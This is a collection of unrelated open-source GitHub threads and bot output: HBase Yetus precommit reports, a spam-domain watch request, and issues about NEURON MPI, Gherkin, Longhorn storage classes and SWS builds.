Client=19.03.7 Server=19.03.7 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/3/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/1217

JIRA Issue
HBASE-23891

Optional Tests
dupname asflicense javac javadoc unit spotbugs findbugs shadedjars hadoopcheck hbaseanti checkstyle compile

uname
Linux 201860f0f170 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 GNU/Linux

Build tool
maven

Personality
/home/jenkins/jenkins-slave/workspace/Base-PreCommit-GitHub-PR_PR-1217/out/precommit/personality/provided.sh

git revision
master / 9bd39786df

Default Java
1.8.0_181

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/3/testReport/

Max. process+thread count
394 (vs. ulimit of 10000)

modules
C: hbase-it U: hbase-it

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/3/console

versions
git=2.11.0 maven=2018-06-17T18:33:14Z)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 47s
Docker mode activated.

-0 :warning:
yetus
0m  3s
Unprocessed flag(s): --brief-report-file --findbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ master Compile Tests _

+1 :green_heart:
mvninstall
6m 33s
master passed

+1 :green_heart:
compile
0m 30s
master passed

+1 :green_heart:
shadedjars
5m 30s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 14s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
6m  2s
the patch passed

+1 :green_heart:
compile
0m 31s
the patch passed

+1 :green_heart:
javac
0m 31s
the patch passed

+1 :green_heart:
shadedjars
5m 20s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 12s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
0m 53s
hbase-it in the patch passed.

28m 48s

Subsystem
Report/Notes

Docker
Client=19.03.7 Server=19.03.7 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/artifact/yetus-jdk8-hadoop2-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/1217

JIRA Issue
HBASE-23891

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux d61998cc957c 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 9c67abef18

Default Java
1.8.0_232

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/testReport/

Max. process+thread count
392 (vs. ulimit of 10000)

modules
C: hbase-it U: hbase-it

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/console

versions
git=2.17.1 maven=2018-06-17T18:33:14Z)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 48s
Docker mode activated.

-0 :warning:
yetus
0m  3s
Unprocessed flag(s): --brief-report-file --findbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ master Compile Tests _

+1 :green_heart:
mvninstall
7m 51s
master passed

+1 :green_heart:
compile
0m 40s
master passed

+1 :green_heart:
shadedjars
5m 44s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 15s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
7m 20s
the patch passed

+1 :green_heart:
compile
0m 36s
the patch passed

+1 :green_heart:
javac
0m 36s
the patch passed

+1 :green_heart:
shadedjars
5m 44s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 13s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
0m 55s
hbase-it in the patch passed.

32m 18s

Subsystem
Report/Notes

Docker
Client=19.03.7 Server=19.03.7 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/artifact/yetus-jdk11-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/1217

JIRA Issue
HBASE-23891

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux 3849c7b9c56b 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 9c67abef18

Default Java
2020-01-14

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/testReport/

Max. process+thread count
423 (vs. ulimit of 10000)

modules
C: hbase-it U: hbase-it

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/console

versions
git=2.17.1 maven=2018-06-17T18:33:14Z)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 15s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
6m  5s
master passed

+1 :green_heart:
checkstyle
0m 19s
master passed

+0 :ok:
spotbugs
0m 29s
Used deprecated FindBugs config; considering switching to SpotBugs.

+1 :green_heart:
findbugs
0m  0s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
5m 37s
the patch passed

+1 :green_heart:
checkstyle
0m 18s
hbase-it: The patch generated 0 new + 122 unchanged - 1 fixed = 122 total (was 123)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
hadoopcheck
17m 54s
Patch does not cause any errors with Hadoop 2.8.5 2.9.2 or 3.1.2.

+1 :green_heart:
findbugs
0m  0s
the patch passed

_ Other Tests _

+1 :green_heart:
asflicense
0m 11s
The patch does not generate ASF License warnings.

38m 55s

Subsystem
Report/Notes

Docker
Client=19.03.7 Server=19.03.7 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/1217

JIRA Issue
HBASE-23891

Optional Tests
dupname asflicense spotbugs findbugs hadoopcheck hbaseanti checkstyle

uname
Linux df0fa84e8ffa 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 9c67abef18

Max. process+thread count
63 (vs. ulimit of 10000)

modules
C: hbase-it U: hbase-it

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-1217/4/console

versions
git=2.17.1 maven=2018-06-17T18:33:14Z)

Powered by
Apache Yetus 0.11.1 https://yetus.apache.org

This message was automatically generated.


Yatin: Watch helpline-australia.com

Yatin requests the watch of the watch_keyword helpline-australia\.com. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

helpline-australia\.com has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by Spevacus in Charcoal HQ


NEURON + direct mode CoreNEURON has MPI_Finalize problem

Describe the issue
ninja test from NEURON configured with -DNRN_ENABLE_CORENEURON=ON yields
38 - coreneuron_modtests::spikes_mpi_file_mode_py_cpu (Failed)

To Reproduce
Steps to reproduce the behavior:
Use current master of nrn. i.e. 8.0a-743-g3871f82a4
cmake .. -G Ninja -DCMAKE_INSTALL_PREFIX=install -DPYTHON_EXECUTABLE=`which python3` -DNRN_ENABLE_RX3D=OFF -DCMAKE_BUILD_TYPE=Debug  -DNRN_ENABLE_CORENEURON=ON -DNRN_ENABLE_TESTS=ON
ninja install
ctest -R spikes_mpi_file_mode_py_cpu -VV

generates
38: *** The MPI_Iprobe() function was called after MPI_FINALIZE was invoked.
38: *** This is disallowed by the MPI standard.
38: *** Your MPI job will now abort.

Expected behavior
As this has been working for quite a while, it is a surprise that it has started happening. If coreneuron.enable=False the problem goes away.
System (please complete the following information)

OS: [e.g. Ubuntu 18.04]
Compiler: [gcc 7.5]
Version: [master branch  3871f82a46b060a ]
Backend: [x86_64]

The problem may not be directly related to CoreNEURON and this issue perhaps should be moved over to the NEURON side.
It appears that the issue is due to the NEURON GUI being active (the gui is turned off when nrniv is launched with -mpi) in this test (python was launched and from neuron import h, gui This means the gui thread runs every 0.1s and calls void Oc::notify() which if (bbs_poll_ > 0) bbs_handle(); which checks for a bulletin board message by calling MPI_Iprobe.
I guess it was an oversight that the gui was not turned OFF by h.nrnmpi_init().  And it isn't clear why the bulletin board was active.

As expected the problem goes away if hoc_usegui = 0; is added to h.nrnmpi_init(). Also the bulletin board becomes active when the first ParallelContext is created on rank 0. I suppose that could be deferred to when pc.runworker() is called but that's unnecessary here and needs some thought anyway.  It is not exactly clear how CoreNEURON got implicated in this but  I'm not curious enough to track that down.

This isn't a bug in NEURON, this is a bug in the test code.
Importing gui explicitly enables the GUI. Scripts that don't intend to use the GUI should not import gui. There's an anti-pattern of enabling the GUI for side-effects of loading NEURON libraries. Just load the libraries that are desired instead.

From the beginning, it's been a vexing question of how to know if nrniv (or python) has been launched with the intention of running under MPI (e.g. mpiexec, mpirun, ...). I've always regretted the need for the -mpi arg. Anyway, I've always liked the ability to use the same code with and without mpi. At the same time, I've often wondered if there is a way to practically combine GUI + MPI. E.g. with GUI on only rank 0 and the bulletin board, optimization with the multirun fitter is already implemented. An enabling feature of the old PVM was that the virtual machine was assembled by the bulletin board after launch so one could request multiple processes from the multirun fitter itself. But generally, actually using a GUI with native MPI, seems like it would founder on the complexity of managing a multiprocess model. Hence the decision to turn it off when MPI was initialized.
I agree with

There's an anti-pattern of enabling the GUI for side-effects of loading NEURON libraries

But I don't what that to be an error.
Perhaps h.nrnmpi_init() should turn off the GUI only if pc.nhost() > 1.
I'll look for another way to avoid the MPI_Finalize problem.


Silence $CELLULOID_DEBUG-related warnings

For some reason explicitly initializing a global is causing test failures via spooky action at a distance. Kill me now.
@schmurfy this is your code that's breaking. Any ideas?

Fixed in #519 - celluloid.rb was required after celluloid/rspec.rb, so it was set to false

is this still an issue or do I need to have a look ?

@schmurfy it's fixed


fix npe when no public address for MarathonTaskLocation.targetMachine

Fixes the issue raised in #264, have tested in Blue Box VPN in both a publically accessible cluster and one accessible only via VPN.
@grkvlt I don't have a solid grasp on the handling of hostnames in this case so suspect this may be too simplistic a fix.

@johnmccabe  @aledsage Are you sure this is right?


Update mdoc, sbt-mdoc to 2.2.17

Updates

org.scalameta:mdoc
org.scalameta:sbt-mdoc

from 2.1.5 to 2.2.17.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scalameta" } ]

labels: library-update, semver-minor

Superseded by #168.


updating to latest Qiime2 2018.2 version

:+1:

In addition to Travis, I tested in an OSX qiime2-2018.2 and a Linux qiime2-2017.12 environment.
Happy for your reviews @antgonza @wasade @josenavas


gherkin/javascript: v5.x unsafe iteration over array (I have a fix, not sure how to open a PR for old version)

Summary
I have a separate 3rd-party library installed on a javascript/typescript project where we're using Cucumber v5 (via webdriver.io), which uses Gherkin v5.x. Unfortunately, this 3rd party library adds flatten to the Array.prototype. Normally, this wouldn't be an issue, but it's causing Gherkin.generateEvents to incorrectly pick up flatten as a Cucumber "pickle" when it iterates over the array. Since flatten is a function and not an object in the shape expected by Cucumber, this causes our e2e tests to fail.
Expected Behavior
Gherkin.generateEvents should return the correct array of pickles when a .feature file is processed.
Current Behavior
Gherkin v5.x incorrectly picks up functions added to the Array prototype when iterating over the array of pickles in Gherkin.generateEvents, causing it to incorrectly include those functions as pickles.
Possible Solution
I have a solution available here: https://github.com/jmadson/cucumber/tree/fix-array-iteration
See commit: https://github.com/jmadson/cucumber/commit/0aadfd059e7c53bb90bc861a296aa92f2c9364c7
Note that branch is off of the v5.2 git tag. I want to open a PR but I'm not sure which branch I should target, as this obviously would not get merged into master. There was no mention of how to open a PR for an old version track in the CONTRIBUTERS.md documentation.
Steps to Reproduce (for bugs)
See the unit test I added here: https://github.com/jmadson/cucumber/commit/0aadfd059e7c53bb90bc861a296aa92f2c9364c7#diff-432dfdb22484f63723016aeb6fa76a6fR6

@luke-hill Any advice on how I can open a PR for the above fix against the 5.x tag? Obviously I cannot point the PR at master

Hi @jmadson - I think we'd first have to create a maintenance branch based on the gherkin/v5.2.0 tag, and then you could submit a PR against that branch.
However, I cannot guarantee that we'd prioritise merging it and making a new 5.x release as we're a small team with low capacity.

I have created a gherkin/v5 branch now, so you can target that for your PR. Thanks!


More interface details for the cast framework

Description
More interface details for the cast framework.
See https://github.com/microg/android_packages_apps_GmsCore/pull/528

I added a few missing details to your PR and found that I have a completely different interface for ISession than yours. Can you please verify which one is correct?

Your copy is correct. I believe I was still getting a handle on the reverse engineering at the point of this PR, and never got to correcting it because it wasn't in use yet.
Going to get my work done since pushed up into a WIP PR shortly. It'll still have some upstream blockers, but better to get more visibility.
In the mean-time I think it's still safe to merge these PRs as-is, and it'll give us a better starting point.


[QUESTION] storageclasses.storage.k8s.io "longhorn-static" not found

hello
longhorn version : 1.2.4
i m create pvc with web interface and attached the volume to a node
i can see that the storageclass is longhorn-static
mattermost       data-db-523050-mysql-0        Bound    pvc-63002a2f-fb47-4639-88cd-a0cffac3b3b2   50Gi       RWO            longhorn-static   52d
but

k get sc
NAME                 PROVISIONER          RECLAIMPOLICY   VOLUMEBINDINGMODE   ALLOWVOLUMEEXPANSION   AGE
longhorn             driver.longhorn.io   Delete          Immediate           true                   56d
standard (default)   driver.longhorn.io   Delete          Immediate           true                   56d

so i have no storage class like this , but everything is working
but when i try to do backups , i have this then
ob failed to be executed
Failed to get cluster level resources: Storage Class
Storage Class referenced by PVC not found
storageclasses.storage.k8s.io "longhorn-static" not found

I think that is the normal setting of longhorn.
Did you try to do backups then failed?

yes it fails because this storageclass does not exist in kubernetes , it must be a label ?

longhorn-static is a fake storage class used for preprovisioned PVC (static provisioning)
You want to use the dynamic provisioning via for example the default longhorn storage class.
You can just create a PVC directly referencing the longhorn storage class and it will be dynamically provisioned for you.
REF: https://longhorn.io/docs/1.3.0/volumes-and-nodes/create-volumes/#creating-longhorn-volumes-with-kubectl

Hi @sarce666,
Does the situation still happen? If yes, could you please provide the support bundle for us?
Document is here troubleshooting-guide.

hello
i m not sur i understand
ok this is fake storage class
but in my porduction kubernetes i see it running as a storage class longhorn-statics
should i then create a storageclass longhorn-static ( a copy of the existing storage class longhorn ?

@sarce666 you could modify the Default Longhorn Static StorageClass Name value on UI page Setting> General
ref: default-longhorn-static-storageclass-name

@sarce666 officially we don't encourage you to create the StorageClass 'longhorn-static' to fit the existing volumes.

i am having a similair issue while using velero, it tries to call the snapshooter for longhorn-static, however it doesnt' find this storageclass
level=error msg="Error backing up item" backup=velero/cluster-full-backup error="error executing custom action (groupResource=persistentvolumeclaims, namespace=test, name=test): rpc error: code = Unknown desc = error getting storage class: storageclasses.storage.k8s.io \"longhorn-static\" not found" logSource="pkg/backup/backup.go:417" name=test-lrsk2


Unindent tracks: fix subsequent unindented tracks becoming indented

:white_check_mark: Build sws 186-master completed (commit https://github.com/reaper-oss/sws/commit/c644a08e83 by @cfillion)

Environment: APPVEYOR_BUILD_WORKER_IMAGE=Ubuntu1804, ARCH=x86_64

build/sws-<IP_ADDRESS>-Linux-x86_64-fix-unindent-tracks-c644a08e.tar.xz

Environment: APPVEYOR_BUILD_WORKER_IMAGE=Visual Studio 2019, ARCH=x64

build/BuildUtils/SWS_Template.ReaperLangPack
build/BuildUtils/whatsnew.html
build/reaper_sws-x64.pdb
build/sws-<IP_ADDRESS>-Windows-x64-fix-unindent-tracks-c644a08e.exe

Environment: APPVEYOR_BUILD_WORKER_IMAGE=Visual Studio 2019, ARCH=x86

build/BuildUtils/SWS_Template.ReaperLangPack
build/BuildUtils/whatsnew.html
build/reaper_sws-x86.pdb
build/sws-<IP_ADDRESS>-Windows-x86-fix-unindent-tracks-c644a08e.exe

Environment: APPVEYOR_BUILD_WORKER_IMAGE=Ubuntu1804, ARCH=aarch64

build/sws-<IP_ADDRESS>-Linux-aarch64-fix-unindent-tracks-c644a08e.tar.xz

Environment: APPVEYOR_BUILD_WORKER_IMAGE=Ubuntu1804, ARCH=armv7l

build/sws-<IP_ADDRESS>-Linux-armv7l-fix-unindent-tracks-c644a08e.tar.xz

Environment: APPVEYOR_BUILD_WORKER_IMAGE=Ubuntu1804, ARCH=i686

build/sws-<IP_ADDRESS>-Linux-i686-fix-unindent-tracks-c644a08e.tar.xz